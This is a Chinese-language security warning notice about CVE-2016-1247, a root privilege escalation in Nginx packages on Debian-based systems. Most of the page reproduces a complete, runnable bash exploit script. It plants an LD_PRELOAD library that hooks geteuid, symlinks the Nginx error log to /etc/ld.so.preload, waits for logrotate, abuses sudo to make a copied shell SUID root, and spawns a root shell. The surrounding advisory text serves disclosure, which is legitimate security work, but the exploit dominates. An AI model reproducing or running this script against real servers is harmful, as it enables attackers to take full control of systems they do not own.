首页 » 漏洞 » 【预警通告】Nginx本地提权漏洞

【预警通告】Nginx本地提权漏洞

 
【预警通告】Nginx本地提权漏洞
阅读: 1

2016年11月15日(当地时间),legalhackers.com网站发布了一个关于Nginx服务器本地提权漏洞的通告,该通告所涉及的漏洞编号为CVE-2016-1247。基于Debian发行版系统(Debian或者Ubuntu)的Nginx服务器包被发现允许创建一个不安全的日志目录,攻击者可以利用此安全问题将用户权限从Nginx/web用户提升为root。    详情请见如下链接:http://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

什么是Nginx

Nginx(发音同engine x)是一个网页服务器,它能反向代理HTTP, HTTPS, SMTP, POP3, IMAP的协议链接,以及一个负载均衡器和一个HTTP缓存。起初是供俄国大型的门户网站及搜索引擎Rambler使用。此软件在BSD-like协议下发行,可以在UNIX、GNU/Linux、BSD、Mac OS X、Solaris,以及Microsoft Windows等操作系统中运行。(引用自维基百科)

漏洞验证程序

POC代码如下,代码作者是Dawid Golunski。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
------------[ nginxed-root.sh ]--------------
 
#!/bin/bash
#
# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# etc.) to escalate their privileges from nginx web server user (www-data) to root
# through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation
# has been configured.
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
 
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
 
function cleanexit {
    # Cleanup
    echo -e "/n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $ERRORLOG
    touch $ERRORLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload
    fi
    echo -e "/n[+] Job done. Exiting with code $1 /n"
    exit $1
}
 
function ctrl_c() {
        echo -e "/n[+] Ctrl+C pressed"
    cleanexit 0
}
 
#intro
 
cat <<_eascii_
_______________________________
< Is your server (N)jinxed ? ;o >
-------------------------------
           /
            /          __---__
                    _-       /--______
               __--( /     / )XXXXXXXXXXX/v.  
             .-XXX(   O   O  )XXXXXXXXXXXXXXX-
            /XXX(       U     )        XXXXXXX/
          /XXXXX(              )--_  XXXXXXXXXXX/
         /XXXXX/ (      O     )   XXXXXX   /XXXXX/
         XXXXX/   /            XXXXXX   /__ /XXXXX
         XXXXXX__/          XXXXXX         /__---->
---___  XXX__/          XXXXXX      /__         /
   /-  --__/   ___//  XXXXXX            /  ___--/=
    /-/    ___/    XXXXXX              '--- XXXXXX
       /-//XXX/ XXXXXX                      /XXXXX
         /XXXXXXXXX   /                    /XXXXX/
          /XXXXXX      >                 _/XXXXX/
            /XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                /XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""
_eascii_
 
echo -e "/033[94m /nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) /nnginxed-root.sh (ver. 1.0)/n"
echo -e "Discovered and coded by: /n/nDawid Golunski /nhttps://legalhackers.com /033[0m"
 
# Args
if [ $# -lt 1 ]; then
    echo -e "/n[!] Exploit usage: /n/n$0 path_to_error.log /n"
    echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`/n"
    exit 3
fi
 
# Priv check
 
echo -e "/n[+] Starting the exploit as: /n/033[94m`id`/033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
    echo -e "/n[!] You need to execute the exploit as www-data user! Exiting./n"
    exit 3
fi
 
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
    echo -e "/n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again./n"
    exit 3
fi
 
# [ Exploitation ]
 
trap ctrl_c INT
# Compile privesc preload library
echo -e "/n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>
 
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
    echo -e "/n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi
 
 
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "/n[+] Backdoor/low-priv shell installed at: /n`ls -l $BACKDOORPATH`"
 
# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "/n[!] /etc/ld.so.preload already exists. Exiting for safety."
    exit 2
fi
 
# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
    echo -e "/n[!] Couldn't remove the $ERRORLOG file or create a symlink."
    cleanexit 3
fi
echo -e "/n[+] The server appears to be /033[94m(N)jinxed/033[0m (writable logdir) ! :) Symlink created at: /n`ls -l $ERRORLOG`"
 
# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "/n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do
    sleep 1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        rm -f $ERRORLOG
        break;
    fi
done
 
# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "/n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: /n`ls -l /etc/ld.so.preload`"
echo -e "/n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "/n[+] The /etc/ld.so.preload file now contains: /n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
 
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "/n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
 
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
    echo -e "/n[+] Rootshell got assigned root SUID perms at: /n`ls -l $BACKDOORPATH`"
    echo -e "/n/033[94mThe server is (N)jinxed ! ;) Got root via Nginx!/033[0m"
else
    echo -e "/n[!] Failed to get root"
    cleanexit 2
fi
 
rm -f $ERRORLOG
echo > $ERRORLOG
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
 
# Execute the rootshell
echo -e "/n[+] Spawning the rootshell $BACKDOORPATH now! /n"
$BACKDOORPATH -p -i
 
# Job done.
cleanexit 0